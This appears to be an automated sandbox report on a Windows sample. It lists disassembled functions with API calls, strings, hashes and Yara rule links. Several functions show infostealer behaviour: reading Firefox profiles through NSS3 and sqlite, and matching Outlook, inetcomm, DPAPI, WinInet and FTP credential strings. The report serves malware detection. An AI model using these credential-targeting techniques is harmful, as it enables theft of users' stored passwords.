Instruction Fuzzy Hash: B021A1B1D052499FDB14EFA9C5417EEFBF5AF18308F14406EE444B3242D7B85A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004629B3, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00462750,00000000,00000000,?), ref: 004629DF

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: aae9d76427dc5ea6c6ca8431400ef7371a60ac27c20a17980c6d63f5127db8dd
Instruction ID: 179427e8a90fdeb9973086a5cd240dea58cc43b70e836944538e026b3dd57ceb
Opcode Fuzzy Hash: aae9d76427dc5ea6c6ca8431400ef7371a60ac27c20a17980c6d63f5127db8dd
Instruction Fuzzy Hash: 82F0D632A005127BDB345A619D49ABB7758EB40764F05442AEC06B3340FAF8FD42C5A6

Uniqueness

Uniqueness Score: -1.00%

Function 0046231C, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

Part of subcall function 00456FBB: _free.LIBCMT ref: 0045701D
Part of subcall function 00456FBB: _free.LIBCMT ref: 00457053

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00462370

Strings

utf8, xrefs: 004622DF

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast_free$InfoLocale
String ID: utf8
API String ID: 2003897158-905460609
Opcode ID: 4c88a0b8f38d980632d1c20807854bbe03abd072e4f9b51980e421e470a73510
Instruction ID: c831f310441d5fe370bebee23f95070a0f0346337184f3be9f362ce7cbec82ff
Opcode Fuzzy Hash: 4c88a0b8f38d980632d1c20807854bbe03abd072e4f9b51980e421e470a73510
Instruction Fuzzy Hash: DAF0F432A00105ABCB14AB74DD46ABA73ACDB44325F01017EF902D7291EA7CAD058799

Uniqueness

Uniqueness Score: -1.00%

Function 004624A9, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

EnumSystemLocalesW.KERNEL32(00462787,00000001,00000006,?,-00000050,?,00462B26,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 004624F3

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b09b29ce6619bd277dfe2af360c658f15bb6663bf28ed59804c3592d6747aa20
Instruction ID: ecde264e6e1e54cdc7c089b8609921ac895ba278f8146db1e4446ca3c2968982
Opcode Fuzzy Hash: b09b29ce6619bd277dfe2af360c658f15bb6663bf28ed59804c3592d6747aa20
Instruction Fuzzy Hash: BAF04C363007043FDB245F359D81E7B7B94EF80358B05842EF9464B680E6F9AC01C654

Uniqueness

Uniqueness Score: -1.00%

Function 00458367, Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 004522E1: EnterCriticalSection.KERNEL32(-0004E295,?,00453BEB,00000000,00485A20,0000000C,00453BB2,?,?,00458330,?,?,0045715D,00000001,00000364,00000008), ref: 004522F0

EnumSystemLocalesW.KERNEL32(0045835A,00000001,00485C00,0000000C,00458839,00000000), ref: 0045839F

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: f6eea2558a3772a43aef8c29ac1e6c54635d3e0494bc79bfe6a1048e9acd6974
Instruction ID: 4cbec5aa35c839925d220274e2d65d0eb596599b5a7b03d86801d2d7c8c7e6ec
Opcode Fuzzy Hash: f6eea2558a3772a43aef8c29ac1e6c54635d3e0494bc79bfe6a1048e9acd6974
Instruction Fuzzy Hash: 66F01976A00204DFDB00EF99E842B9D77E0FB09725F10456EF910AB2A1CBB949049B99

Uniqueness

Uniqueness Score: -1.00%

Function 004623C3, Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

EnumSystemLocalesW.KERNEL32(0046231C,00000001,00000006,?,?,00462B84,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 004623FA

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e7b55ce2dc29939ef89fe3e0665e262ac761da2cc54e3b3997657e9b6f5718c3
Instruction ID: c81e32fefdefed1c75a153ff47a83c3c4711ce818b816ba57c51df64ffdc83ae
Opcode Fuzzy Hash: e7b55ce2dc29939ef89fe3e0665e262ac761da2cc54e3b3997657e9b6f5718c3
Instruction Fuzzy Hash: 09F0EC3630020567CB049F35D95577A7F94EFC1714B06405AFE05CB791D6B99883C755

Uniqueness

Uniqueness Score: -1.00%

Function 00458994, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00455F6D,?,20001004,00000000,00000002,?,?,00455558), ref: 004589C8

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 870918a037317614bcbd58b721d1f8e7cf59b0a3f8f9e0a0599f457551d93eb9
Instruction ID: 417b22187f90d4ef29123eb59f0ec7fab01787cade13840cd3795052a320646d
Opcode Fuzzy Hash: 870918a037317614bcbd58b721d1f8e7cf59b0a3f8f9e0a0599f457551d93eb9
Instruction Fuzzy Hash: 6CE01A71500218BBCF122F61DC04EAE3B1AAB84752F04802AFC4565222DF7A8D61AA9A

Uniqueness

Uniqueness Score: -1.00%

Function 00440406, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00040412,0043FD14), ref: 0044040B

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e027e635587252c397f336fc51193f40dd2f0a7e682823dc6c3dca81afacbff7
Instruction ID: 5da3d013d788753135b0dff600df3dbac1744f18d536f8976cdbbc9d95af8586
Opcode Fuzzy Hash: e027e635587252c397f336fc51193f40dd2f0a7e682823dc6c3dca81afacbff7
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0044D028, Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 0044D1A4

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 6110ed094788a03bd00b028201ecb7778e6cc26b3a57c92fee3c47d93b634752
Instruction ID: 3eae5ef2d37a6d499f70e2513b75249f7ad559f9b34c9db5d75c43600ab884d9
Opcode Fuzzy Hash: 6110ed094788a03bd00b028201ecb7778e6cc26b3a57c92fee3c47d93b634752
Instruction Fuzzy Hash: DA517F70E00644A6FF38896888997BF679A9F4134CF14451FE882DB392C65DDD4BC35E

Uniqueness

Uniqueness Score: -1.00%

Function 004187C0, Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5b0e66b16ccbd8f0a40714c19fa5bdb7e71b6b32d28678020640cb824cf4a89
Instruction ID: 575112d2e891fb5c16b34a208e7c4eb349961418c9fce2da5d87d0e0c8e71cb8
Opcode Fuzzy Hash: b5b0e66b16ccbd8f0a40714c19fa5bdb7e71b6b32d28678020640cb824cf4a89
Instruction Fuzzy Hash: 17E1E371E102198FCF14CFA8D580AEDBBF1FF98354F25816AE855E7344DA34AA818F94

Uniqueness

Uniqueness Score: -1.00%

Function 0044824A, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0999db6164b926aa87411d793e851c4f5f3bae8bb88c1ad1b8fd4c9abd374af0
Instruction ID: dc52358269195cf09ef97626454f9fea34f66c5aec3e6b1ff57916d665513828
Opcode Fuzzy Hash: 0999db6164b926aa87411d793e851c4f5f3bae8bb88c1ad1b8fd4c9abd374af0
Instruction Fuzzy Hash: 05515F71E00119AFEF04CF99C941AAEBBB2FF88304F19809DE905AB341D7399E51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0045A369, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b60fc464ea6f943a002b12cdd8249e8e0ab51b2c4c231176577b61601cbbba1
Instruction ID: b8746ad66141096c42b80b60bbaca50a8ae21156dcceebb9b056d644b577ce25
Opcode Fuzzy Hash: 3b60fc464ea6f943a002b12cdd8249e8e0ab51b2c4c231176577b61601cbbba1
Instruction Fuzzy Hash: 4E21B373F205394B7B0CC47E8C572BDB6E1C68C601745823EE8A6EA2C1D968D917E2E4

Uniqueness

Uniqueness Score: -1.00%

Function 0045A249, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e890811cd5c49902daf55f0e080f89e2a1be049ed81ec45e35cebcb0da73d24
Instruction ID: ae711cf1330dd75f63e859091b8b1655cfaeee9692cb1cf4ed0022fc0f10d988
Opcode Fuzzy Hash: 1e890811cd5c49902daf55f0e080f89e2a1be049ed81ec45e35cebcb0da73d24
Instruction Fuzzy Hash: FF117733F30C295B675C81698C1727AA5D2EBD825070F537ED826E7384E9A4DE23D290

Uniqueness

Uniqueness Score: -1.00%

Function 00442BF0, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b9b66fad257860ab3beb9557d8f298202ce2e30452ac0cd237e50f1d8803a261
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: D3115BB720048243F6188A2DCBF46BFA395EBD63217EC837BF0428B758C5EAD845950C

Uniqueness

Uniqueness Score: -1.00%

Function 00419003, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce2ab3a73f98fd0c922a4c7467876998b55c1d56c72fb05378a1bf83a7866a39
Instruction ID: b365341eddf32fa798e7401d6507bd3f65e9b6136e9e90c267c82b9283efb1b3
Opcode Fuzzy Hash: ce2ab3a73f98fd0c922a4c7467876998b55c1d56c72fb05378a1bf83a7866a39
Instruction Fuzzy Hash: D32109715340B106864C473A6C71437BFA0974720378F42BBE98BEA0C6C52DE9A4D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 0043C990, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dee57d305e28e21a748860119ac299b0b4184d6167935b044ed75b8ce49766b
Instruction ID: 6ae521ee9f2b1a8bb36207a90fccd33e175a8a52a4dc31802f449caabf8c983f
Opcode Fuzzy Hash: 2dee57d305e28e21a748860119ac299b0b4184d6167935b044ed75b8ce49766b
Instruction Fuzzy Hash: F72124B55240B10A860C8A3AAC65537FBD0DB8B24378B42BBE98BE90C2C52DD565D7E4

Uniqueness

Uniqueness Score: -1.00%

Function 0041CDC5, Relevance: 26.7, APIs: 5, Strings: 10, Instructions: 434COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000001,00000000), ref: 0041CDEE

Part of subcall function 00434ACB: _strcat.LIBCMT ref: 00434B28

Part of subcall function 0040FFFF: _Deallocate.LIBCONCRT ref: 00410014

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,00000001,00000000), ref: 0041CF01

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Part of subcall function 00434F64: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 00434FAE

Part of subcall function 00409F48: ___std_fs_copy_file@12.LIBCPMT ref: 00409F6C

sqlite3_finalize.NSS3(?), ref: 0041D3C7
sqlite3_close.NSS3(?), ref: 0041D3D1
NSS_Shutdown.NSS3(?,00000001,?,?,?,?,?,?,00000001,00000000), ref: 0041D408

Strings

: :', xrefs: 0041D322
K, xrefs: 0041D25E
)#jF, xrefs: 0041D2D3
8$&8, xrefs: 0041D16C
's%, xrefs: 0041D31B
y,+5CY, xrefs: 0041D2B3
is, xrefs: 0041D32B
wmvl, xrefs: 0041D154
(, xrefs: 0041D184
Profiles, xrefs: 0041CE00

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Deallocate$EnvironmentFolderInitPathShutdownVariable___std_fs_copy_file@12_strcatsqlite3_closesqlite3_finalize
String ID: 's%$($)#jF$8$&8$: :'$K$Profiles$is$wmvl$y,+5CY
API String ID: 2993954315-2207890694
Opcode ID: f1429dea43801476b9a921d5e3d871a03b93a6bfb282fe2ecf82176e498743fe
Instruction ID: 23368266f4874221bdc035e222a8ad3d920cf63d11345732fdc711aa2be7be39
Opcode Fuzzy Hash: f1429dea43801476b9a921d5e3d871a03b93a6bfb282fe2ecf82176e498743fe
Instruction Fuzzy Hash: 4112DE30D0429CCADF15DBA4C941BEDBBB0AF59304F1481EED44977292EB781E89CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0045A9CB, Relevance: 25.9, APIs: 17, Instructions: 411COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0045A9F5
_free.LIBCMT ref: 0045AACE
_free.LIBCMT ref: 0045AAFB

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 941b8b3d01526ab28dd4ede71b2bd80800aa7878078080cada3b7de627a880b6
Instruction ID: 4d7435f2f43632320906564b76ed70d90fdb0359c98c351148159b68fd597337
Opcode Fuzzy Hash: 941b8b3d01526ab28dd4ede71b2bd80800aa7878078080cada3b7de627a880b6
Instruction Fuzzy Hash: 66D13971904201AFDB21AF659882A7F77F5AF01316F10426FEE1097383EA3D9958C79E

Uniqueness

Uniqueness Score: -1.00%

Function 0043CBF5, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 184fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000001,?,00000001,00000000,00000000), ref: 0043CC09
GetFileSize.KERNEL32(00000068,00000000), ref: 0043CC89
SetFilePointer.KERNEL32(00000068,00000000,00000000,00000000), ref: 0043CCA0
ReadFile.KERNEL32(00000068,00000068,00000002,pPh,00000000), ref: 0043CCB3
SetFilePointer.KERNEL32(00000068,00000024,00000000,00000000), ref: 0043CCC0
ReadFile.KERNEL32(00000068,00000050,00000004,pPh,00000000), ref: 0043CCD3
SetFilePointer.KERNEL32(00000068,00000050,00000000,00000000), ref: 0043CCF4
ReadFile.KERNEL32(00000068,0043D0F6,00000004,pPh,00000000), ref: 0043CD07

Strings

pPh, xrefs: 0043CCA8, 0043CCC8, 0043CCFC, 0043CCAB, 0043CCCB, 0043CCFF
pPh, xrefs: 0043CD44

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID: pPh$pPh
API String ID: 2979504256-1455152937
Opcode ID: eaf7752b35f5d21c90d9e104080b2e69bf68c875c0638b0e200fe4a55817fb45
Instruction ID: 218648a85eaad1f58ce84cdf2a82cece8f58a5470a4316aa073d5b06f85d5db6
Opcode Fuzzy Hash: eaf7752b35f5d21c90d9e104080b2e69bf68c875c0638b0e200fe4a55817fb45
Instruction Fuzzy Hash: FD5151B1A40218BBEB14DF64CCD5BBFBBB9EB48700F14583AF906E7281D6749D008B64

Uniqueness

Uniqueness Score: -1.00%

Function 0044E7F3, Relevance: 21.4, APIs: 2, Strings: 10, Instructions: 403COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,?,?,?,?,?,?,?,?,?,?,?,0041C216,?,00000001), ref: 0044E899
GetModuleFileNameW.KERNEL32(?,?,00000105,?,?,?,?,?,?,?,?,?,0041C216,?,00000001), ref: 0044E8BD

Strings

<program name unknown>, xrefs: 0044E8C7
File: , xrefs: 0044E963
Assertion failed!, xrefs: 0044E817
\, xrefs: 0044E9BA
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts, xrefs: 0044EBFC
Expression: , xrefs: 0044EB53
..., xrefs: 0044E918, 0044EA37, 0044EA89, 0044EBCD, 0044EC50, 0044EC83
Line: , xrefs: 0044EAD9
Program: , xrefs: 0044E85B
(Press Retry to debug the application - JIT must be enabled), xrefs: 0044EC26

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Module$FileHandleName
String ID: (Press Retry to debug the application - JIT must be enabled)$...$<program name unknown>$Assertion failed!$Expression: $File: $For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts$Line: $Program: $\
API String ID: 4146042529-3261600717
Opcode ID: fa584cc12be249277f46e6eb16782f2fd4260267eb2c83723c5d729449ac1285
Instruction ID: 763ffe11ca69e1f41dc85d1219a3c083aac7ed2c021c9c70100fc064e7fd0990
Opcode Fuzzy Hash: fa584cc12be249277f46e6eb16782f2fd4260267eb2c83723c5d729449ac1285
Instruction Fuzzy Hash: 9EC1D671A402156AEB24AA77CDC6FFF7268EF66704F04006AFC09D2352F6389E45866D

Uniqueness

Uniqueness Score: -1.00%

Function 0043453F, Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 99stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00433D53: lstrlenW.KERNEL32(86840FC0,?,004345A9), ref: 00433D77
Part of subcall function 00433D53: lstrcpyW.KERNEL32 ref: 00433D8E
Part of subcall function 00433D53: CoTaskMemFree.OLE32(004345A9,?,004345A9), ref: 00433D97

lstrcmpiW.KERNEL32(00000000,identification,00000000), ref: 004345C1
lstrcmpiW.KERNEL32(?,identitymgr), ref: 004345CF
lstrcmpiW.KERNEL32(00000000,inetcomm server passwords), ref: 004345EF
lstrcmpiW.KERNEL32(00000000,outlook account manager passwords), ref: 004345FB
lstrcmpiW.KERNEL32(00000000,identities), ref: 00434607
CoTaskMemFree.OLE32(?), ref: 0043463D

Strings

inetcomm server passwords, xrefs: 004345E9
identification, xrefs: 004345BB
outlook account manager passwords, xrefs: 004345F5
identitymgr, xrefs: 004345C7
identities, xrefs: 00434601
-=C, xrefs: 0043453F

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcmpi$FreeTask$lstrcpylstrlen
String ID: -=C$identification$identities$identitymgr$inetcomm server passwords$outlook account manager passwords
API String ID: 1606502731-645122792
Opcode ID: 61fdbcbf8bacfaec8a683728ea24ebe6259e0edeeea25b2ca6f1b2c6a9e81fdd
Instruction ID: 56fb3bc5911e434bd9749875f6e8941db1e845d7bd7f049087c6c18a06d43e40
Opcode Fuzzy Hash: 61fdbcbf8bacfaec8a683728ea24ebe6259e0edeeea25b2ca6f1b2c6a9e81fdd
Instruction Fuzzy Hash: FF31B57090021AFBCF119F95DC82AEF7F79EF89710F10401AF80462251D779EA11DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00460BA2, Relevance: 18.4, APIs: 12, Instructions: 374COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00460BEA
_free.LIBCMT ref: 00460C0E
_free.LIBCMT ref: 00460C1B
_free.LIBCMT ref: 00460C40
_free.LIBCMT ref: 00460C4D
_free.LIBCMT ref: 00460C56
_free.LIBCMT ref: 00460F31
_free.LIBCMT ref: 00460F39

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: bc8aa1ff83e48d03746f65f75adae24296be088c186ebe7c6d6fb46c948fb318
Instruction ID: e3d0d96d721dcfef16e85b6e5abccd235fa4e304253660390130c603c098e0ef
Opcode Fuzzy Hash: bc8aa1ff83e48d03746f65f75adae24296be088c186ebe7c6d6fb46c948fb318
Instruction Fuzzy Hash: E5C11272D40208BBDB20DBA9CC42FEB77B8AF08705F14456AFE05EB282F674E9458755

Uniqueness

Uniqueness Score: -1.00%

Function 004241E7, Relevance: 15.1, APIs: 7, Strings: 3, Instructions: 139stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,?,0000001B), ref: 00424206
lstrlenW.KERNEL32(?,?,00000000,?,0000001B), ref: 00424213
StrCmpNW.SHLWAPI(?,DPAPI: ,00000007,?,00000000,?,0000001B), ref: 0042422D
StrCmpNW.SHLWAPI(?,Microsoft_WinInet_,00000012,?,DPAPI: ,00000007,?,00000000,?,0000001B), ref: 0042423E
StrCmpNW.SHLWAPI(?,ftp://,00000006,?,Microsoft_WinInet_,00000012,?,DPAPI: ,00000007,?,00000000,?,0000001B), ref: 0042424F
lstrlenW.KERNEL32(?,?,ftp://,00000006,?,Microsoft_WinInet_,00000012,?,DPAPI: ,00000007,?,00000000,?,0000001B), ref: 00424283
lstrlenW.KERNEL32(?,?,?,ftp://,00000006,?,Microsoft_WinInet_,00000012,?,DPAPI: ,00000007,?,00000000,?,0000001B), ref: 004242B4

Part of subcall function 0040DC35: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0040DC63

Strings

DPAPI: , xrefs: 00424227
ftp://, xrefs: 00424249
Microsoft_WinInet_, xrefs: 00424238

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrlen$Ios_base_dtorstd::ios_base::_
String ID: DPAPI: $Microsoft_WinInet_$ftp://
API String ID: 861872374-2984799227
Opcode ID: b818ef8872d0cdbbc6a003c179caa392f01968d99fc0f74a286d598967c66b56
Instruction ID: b110c82db53fd9443a1ef155c4e55fccb440cd31e879f292ae063eaf75f65370
Opcode Fuzzy Hash: b818ef8872d0cdbbc6a003c179caa392f01968d99fc0f74a286d598967c66b56
Instruction Fuzzy Hash: 64411C30A00385AACF15EBA5CC51BEEBB759F59344F40809FE40977282DE789E49CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00434437, Relevance: 15.1, APIs: 7, Strings: 3, Instructions: 97stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0043448B
lstrlenW.KERNEL32(00000010), ref: 0043449B

Part of subcall function 00434D17: lstrlenA.KERNEL32(00000000,00000000,?), ref: 00434D48
Part of subcall function 00434D17: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000010,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00434D67
Part of subcall function 00434D17: lstrcpyA.KERNEL32(00000000,00000000), ref: 00434D8A
Part of subcall function 00434D17: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00434DB6

lstrlenA.KERNEL32(00000000), ref: 004344B7

Part of subcall function 00434DD4: lstrlenA.KERNEL32(00000000,747869A0,00000000,74786980,00000000,00000000,?,004344C6,00000000), ref: 00434DF9
Part of subcall function 00434DD4: lstrcpyA.KERNEL32(00000000,00000000,747869A0,00000000,74786980,00000000,00000000,?,004344C6,00000000), ref: 00434E20

lstrlenA.KERNEL32(?), ref: 004344CE
lstrlenA.KERNEL32(00000000), ref: 004344E5
lstrlenW.KERNEL32(?), ref: 004344F8
lstrlenA.KERNEL32(0047E0E8), ref: 0043450C

Strings

{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}, xrefs: 00434485
SUBTYPE GUID=", xrefs: 004344B0, 004344BA
" NAME=", xrefs: 004344DE, 004344E8

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrlen$ByteCharMultiWidelstrcpy$wsprintf
String ID: SUBTYPE GUID="$" NAME="${%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}
API String ID: 130686893-594057230
Opcode ID: 6e8074dabeeb6ec63aafe867b18f1e79f924f42aff7c828702c305109b22406f
Instruction ID: ec6508744c286dd52854d6fc500fb815f13e2146b3d63bc7740fe233e7951491
Opcode Fuzzy Hash: 6e8074dabeeb6ec63aafe867b18f1e79f924f42aff7c828702c305109b22406f
Instruction Fuzzy Hash: 6331C7B55041546FCB21AB6A9C809FFBBED9F8C310B14845BF6D9C3281DA7CE9009B65

Uniqueness

Uniqueness Score: -1.00%

Function 00456EA3, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00456EB9

Part of subcall function 00457DD3: RtlFreeHeap.NTDLL(00000000,00000000,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?), ref: 00457DE9
Part of subcall function 00457DD3: GetLastError.KERNEL32(?,?,004611FB,?,00000000,?,00000002,?,0046149E,?,00000007,?,?,0046189F,?,?), ref: 00457DFB

_free.LIBCMT ref: 00456EC5
_free.LIBCMT ref: 00456ED0
_free.LIBCMT ref: 00456EDB
_free.LIBCMT ref: 00456EE6
_free.LIBCMT ref: 00456EF1
_free.LIBCMT ref: 00456EFC
_free.LIBCMT ref: 00456F07
_free.LIBCMT ref: 00456F12
_free.LIBCMT ref: 00456F20

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 53f5f6605b3030a876c243f7a5da3c525bdfa1f094afe4f4e9a484032eab1e03
Instruction ID: 6247175b178964ffa0c9f8546e7ad8b21b8e4d36760c97a264b4996319d05316
Opcode Fuzzy Hash: 53f5f6605b3030a876c243f7a5da3c525bdfa1f094afe4f4e9a484032eab1e03
Instruction Fuzzy Hash: AD21D67690410CFFCB01EF95D881DEE7BB9BF08345F4181AAB9159B122DB75EA488B84

Uniqueness

Uniqueness Score: -1.00%

Function 0043CAE2, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 78COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043CAE7

Strings

.lzh, xrefs: 0043CB4B
.zip, xrefs: 0043CB18
.arj, xrefs: 0043CB5C
.zoo, xrefs: 0043CB29
.gz, xrefs: 0043CB6D
.tgz, xrefs: 0043CB7E
.arc, xrefs: 0043CB3A

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

